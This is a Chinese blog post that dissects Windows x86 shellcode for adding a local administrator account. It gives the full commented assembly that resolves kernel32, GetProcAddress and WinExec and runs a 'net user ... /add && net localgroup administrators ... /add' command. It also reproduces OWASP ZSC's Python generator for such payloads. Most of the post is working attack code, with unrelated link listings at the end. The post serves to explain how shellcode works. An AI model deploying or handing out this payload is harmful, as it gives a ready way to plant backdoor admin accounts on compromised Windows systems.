前言

  • 在上一篇文章上使用到的添加用户的shellcode是怎么得到的呢?
  • 先来拆分一下汇编的功能
;寻找kernel32.dll的基地址
xor ecx,ecx
mov eax,dword ptr fs:[ecx+30h] ; EAX = PEB
mov eax,dword ptr [eax+0Ch] ; EAX = PEB->Ldr
mov esi,dword ptr [eax+14h] ; ESI = PEB->Ldr.InMemOrder
lods dword ptr [esi] ; EAX = Second module
xchg eax,esi ; EAX = ESI, ESI = EAX
lods dword ptr [esi] ; EAX = Third(kernel32)
mov ebx,dword ptr [eax+10h] ; EBX = Base address
;查找kernel32.dll的导出表
mov edx,dword ptr [ebx+3Ch] ; EDX = DOS->e_lfanew
add edx,ebx ; EDX = PE Header
mov edx,dword ptr [edx+78h] ; EDX = Offset export table
add edx,ebx; EDX = Export table
mov esi,dword ptr [edx+20h] ; ESI = Offset names table
add esi,ebx; ESI = Names table
xor ecx,ecx ; EXC = 0
;循环查找GetProcAddress函数
Get_Function:
inc ecx; Increment the ordinal
lods dword ptr [esi]; Get name offset
add eax,ebx ; Get function name
cmp dword ptr [eax],50746547h ; GetProcAddress
jne 0012FE9B;Get_Function
cmp dword ptr [eax+4],41636F72h; rocAddress
jne 0012FE9B;Get_Function
cmp dword ptr [eax+8],65726464h; ddress
jne 0012FE9B;Get_Function
;寻找GetProcAddress 函数
mov esi,dword ptr [edx+24h]; ESI = Offset ordinals
add esi,ebx ; ESI = Ordinals table
mov cx,word ptr [esi+ecx*2] ; CX = Number of function
dec ecx
mov esi,dword ptr [edx+1Ch]; ESI = Offset address table
add esi,ebx; ESI = Address table
mov edx,dword ptr [esi+ecx*4] ; EDX = Pointer(offset)
add edx,ebx ; EDX = GetProcAddress
push ebx;PUSH kernel32.Base address
push edx;PUSH kernel32.GetProcAddress
;寻找WinExec函数地址
xor ecx,ecx ; ECX = 0
push ecx; PUSH ECX
mov ecx,61636578h;string acex
push ecx;PUSH ECX
sub dword ptr [esp+3],61h;Remove "a" ESP=&0012FE18--->string xec
push 456E6957h;string EniW
push esp;PUSH ESP WinExec
push ebx;PUSH EBX kernel32.Base address
call edx;CALL GetProcAddress
add esp,8;ESP+8
pop ecx;ECX=0
push eax;PUSH EAX-->kernel32.WinExec Addresss
;赋值命令行字符串
xor ecx,ecx;ECX=0
push ecx;PUSH ECX
push 64646190h;string dda[90]
pop ecx;ECX=string dda[90]
shr ecx,8;ECX=00646461 string dda
push ecx;PUSH ECX
push 2F20746Bh
push 2073726Fh
push 74617274h
push 73696E69h
push 6D646120h
push 70756F72h
push 676C6163h
push 6F6C2074h
push 656E2026h
push 26206464h
push 612F2074h
push 6B20746Bh
push 20726573h
push 75207465h
push 6E20632Fh
push 20657865h
push 2E646D63h
xor ebx,ebx;EBX=0
mov ebx,esp;EBX="cmd.exe /c net user kt kt /add && net localgroup administrators kt /add"
xor ecx,ecx;ECX=0
inc ecx;EXC=1
push ecx;PUSH ECX=1
push ebx;PUSH EBX="cmd.exe /c net user kt kt /add && net localgroup administrators kt /add"
call eax;CALL WinExec
;堆栈平衡
add esp,50h;ESP+50h
pop edx;EDX=kernel32.GetProcAddress
pop ebx;EBX=kernel32.Base Address
;退出程序
xor ecx,ecx;ECX=0
mov ecx,61737365h;string asse
push ecx;PUSH ECX
sub dword ptr [esp+3],61h;Remove "a"
push 636F7250h;string ; Proc
push 74697845h;string ; Exit
push esp;string "ExitProcess"
push ebx;kernel32.dll base address
call edx; GetProcAddress(Exec)
xor ecx,ecx; ECX = 0
push ecx; Return code = 0
call eax; ExitProcess

OWASP-ZSC部分源码

  • 添加用户的汇编指令
#!/usr/bin/env python
'''
OWASP ZSC
https://www.owasp.org/index.php/OWASP_ZSC_Tool_Project
https://github.com/zscproject/OWASP-ZSC
http://api.z3r0d4y.com/
https://groups.google.com/d/forum/owasp-zsc [ owasp-zsc[at]googlegroups[dot]com ]
'''
from core import stack
from math import ceil def add_admin(command_hex, command):
return '''
xor %ecx,%ecx
mov %fs:0x30(%ecx),%eax
mov 0xc(%eax),%eax
mov 0x14(%eax),%esi
lods %ds:(%esi),%eax
xchg %eax,%esi
lods %ds:(%esi),%eax
mov 0x10(%eax),%ebx
mov 0x3c(%ebx),%edx
add %ebx,%edx
mov 0x78(%edx),%edx
add %ebx,%edx
mov 0x20(%edx),%esi
add %ebx,%esi
xor %ecx,%ecx
inc %ecx
lods %ds:(%esi),%eax
add %ebx,%eax
cmpl $0x50746547,(%eax)
jne 23 <.text+0x23>
cmpl $0x41636f72,0x4(%eax)
jne 23 <.text+0x23>
cmpl $0x65726464,0x8(%eax)
jne 23 <.text+0x23>
mov 0x24(%edx),%esi
add %ebx,%esi
mov (%esi,%ecx,2),%cx
dec %ecx
mov 0x1c(%edx),%esi
add %ebx,%esi
mov (%esi,%ecx,4),%edx
add %ebx,%edx
push %ebx
push %edx
xor %ecx,%ecx
push %ecx
mov $0x61636578,%ecx
push %ecx
subl $0x61,0x3(%esp)
push $0x456e6957
push %esp
push %ebx
call *%edx
add $0x8,%esp
pop %ecx
push %eax
xor %ecx,%ecx
push %ecx
{0}
xor %ebx,%ebx
mov %esp,%ebx
xor %ecx,%ecx
inc %ecx
push %ecx
push %ebx
call *%eax
add ${1},%esp
pop %edx
pop %ebx
xor %ecx,%ecx
mov $0x61737365,%ecx
push %ecx
subl $0x61,0x3(%esp)
push $0x636f7250
push $0x74697845
push %esp
push %ebx
call *%edx
xor %ecx,%ecx
push %ecx
call *%eax
'''.format(command_hex, hex(int(8 + 4 * (ceil(len(command) / float(4)))))) def run(data):
username = data[0]
passsword = data[1]
command = "cmd.exe /c net user " + username + " " + passsword + " /add && net localgroup administrators " + username + " /add"
return add_admin(stack.generate(command, "%ecx", "string"), command)
  • 拿到用户和密码后拼接成添加用户名的命令行,调用核心模块里的generate函数,生成要执行的命令行存进ecx寄存器里,再根据命令行十六进制的长度提升堆栈空间。

  • generate函数的源码

def generate(data, register, gtype):
length = len(data)
if gtype == 'int':
flag_8 = True
try:
data = hex(int(data, 8))
except:
flag_8 = False
if flag_8 is False:
try:
data = hex(int(data, 16))
except:
error('hex or digit required!\nExit\n')
sys.exit(0)
if gtype == 'string':
data = st(data)
if length <= 3:
if gtype == 'string':
data = str('0x') + str(data)
if len(data) % 2 is not 0:
data = data.replace('0x', '0x0')
if len(data) is 8:
data = data + '90\npop %s\nshr $0x8,%s\npush %s\n' % (
register, register, register)
if len(data) is 6:
data = data + '9090\npop %s\nshr $0x10,%s\npush %s\n' % (
register, register, register)
if len(data) is 4:
data = data + '909090\npop %s\nshr $0x10,%s\nshr $0x8,%s\npush %s\n' % (
register, register, register, register)
data = str('push $') + str(data)
if length >= 4:
if gtype == 'int':
data = data[2:]
stack_content = data
shr_counter = len(stack_content) % 8
shr = None
if shr_counter is 2:
shr = '\npop %s\nshr $0x10,%s\nshr $0x8,%s\npush %s\n' % (
register, register, register, register)
stack_content = stack_content[0:2] + '909090' + stack_content[2:]
if shr_counter is 4:
shr = '\npop %s\nshr $0x10,%s\npush %s\n' % (register, register,
register)
stack_content = stack_content[0:4] + '9090' + stack_content[4:]
if shr_counter is 6:
shr = '\npop %s\nshr $0x8,%s\npush %s\n' % (register, register,
register)
stack_content = stack_content[0:6] + '90' + stack_content[6:]
zshr = shr
m = int(len(stack_content))
n = int(len(stack_content) / 8)
file_shellcode = ''
if (len(stack_content) % 8) is 0:
shr_n = 0
r = ''
while (n is not 0):
if shr is not None:
shr_n += 1
zx = m - 8
file_shellcode = 'push $0x' + str(stack_content[
zx:m]) + '\n' + file_shellcode
m -= 8
n = n - 1
shr = None
if shr is None:
shr_n += 1
zx = m - 8
file_shellcode = 'push $0x' + str(stack_content[
zx:m]) + '\n' + file_shellcode
m -= 8
n = n - 1
if zshr is None:
file_z = file_shellcode
if zshr is not None:
rep1 = file_shellcode[:16]
rep2 = rep1 + zshr
file_z = file_shellcode.replace(rep1, rep2)
data = file_z
return data
  • 接受三个参数,data, register, gtype分别是数据,存储到哪一个寄存器,数据类型。

ShellCode模板的更多相关文章

  1. luajit利用ffi结合C语言实现面向对象的封装库

    luajit中.利用ffi能够嵌入C.眼下luajit的最新版是2.0.4,在这之前的版本号我还不清楚这个扩展库详细怎么样,只是在2.04中,真的非常爽.  既然是嵌入C代码.那么要说让lua支持 ...

  2. payload分离免杀

    shellcode loader 借助第三方加载器,将shellcode加载到内存中来执行. https://github.com/clinicallyinane/shellcode_launcher ...

  3. CVE-2012-0158 漏洞分析报告

      Office 2003 sp3(CVE-2012-0158)漏洞分析报告   软件名称:Office 2003 sp3 软件版本:2.0 漏洞模块:MSCOMCTL.ocx 模块版本:2.0.0. ...

  4. Shellcode入门

    Shellcode入门 一.shellcode基础知识 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外,Shellcode一般是作为 ...

  5. 使用MSF生成shellcode

    使用MSF生成shellcode payload和shellcode的区别 Payload是是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码.因为Payload是包含 ...

  6. 20145332 拓展:注入shellcode实验

    20145332卢鑫 拓展:注入shellcode实验 shellcode基础知识 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外, ...

  7. pwn 题GDB调试技巧和exp模板

    GDB分析ELF文件常用的调试技巧 gdb常用命令 首先是gbd+文件名 静态调试 ,gdb attach +文件名 动态调试 为了方便查看堆栈和寄存器 最好是安装peda插件 安装 可以通过pip直 ...

  8. 动态加载 ShellCode绕过杀软

    反病毒解决方案用于检测恶意文件,并且通常使用静态分析技术来区分二进制文件的好坏.如果是恶意文件本身包含恶意内容(ShellCode),那么依靠静态分析技术会非常有效,但如果攻击者使用轻量级的stage ...

  9. shellcode 免杀(一)

    工具免杀 选择了几个简单或者近期还有更新的免杀工具进行学习 ShellcodeWrapper https://github.com/Arno0x/ShellcodeWrapper 该工具的原理是使用异 ...

随机推荐

  1. Yii2 框架下 session跨域共享互通

    在项目实施过程中,往往把一个大项目进行分拆成几个独立的项目,项目用完全独立的域名和文件,可以放到不同的服务器上的独立分项目. 几个子项目共用一个登录点. 原理简单来说就是服务端session 共享, ...

  2. The Reason Why Cosmetic Airless Bottles Are Widely Used

    The contents of the Cosmetic Airless Bottles    can be isolated from the air, to prevent the product ...

  3. 小白艰难的Python图像的绘制

    1.贪吃蛇 代码: import turtle turtle.setup(650,350) turtle.penup() turtle.fd(-250) turtle.pendown() turtle ...

  4. docker 报错 docker: Error response from daemon: driver failed....iptables failed:

    现象: [root@localhost test]# docker run --name postgres1 -e POSTGRES_PASSWORD=password -p : -d postgre ...

  5. 消息队列(六)--- RocketMQ-消息消费

    文章部分图片来自参考资料,侵删 概述 我们从前面的发送流程知道某个主题的消息到了broker 的 messageque 里,假如让我们来设计一个消息队列的消费者过程,那么多个消费者应该如何消费数量较少 ...

  6. C#中字符串常用方法

    string str = "123@163.com"; int index = str.IndexOf('@'); // 返回3  从左向右第一个@ int index = str ...

  7. Aggregate 聚合用法

    var listb= ListA.Where(x => x.Id.Equals(obj.Id)).Select(x => x.SubData).Aggregate((x, y) => ...

  8. Python中的参数解包:`*`表达式和 `**`表达式

    目录 1.参数解包:方法调用中的*表达式和**表达式 2.参数解包:方法定义中的*表达式和**表达式 3.在元组,列表,集合和字典中解包 4.Extended Unpacking:赋值表达式左边的*表 ...

  9. 【强烈推荐,超详细,实操零失误】node.js安装 + npm安装教程 + Vue开发环境搭建

    node.js安装 + npm安装教程 + Vue开发环境搭建 [强烈推荐,超详细,实操零失误] 原博客园地址:https://www.cnblogs.com/goldlong/p/8027997.h ...

  10. Laravel Vuejs 实战:开发知乎 (7)验证问题表单字段

    上一节代码中已经实现 下面代码中的validate内部配置就是: public function store(Request $request) { // $data = $request->v ...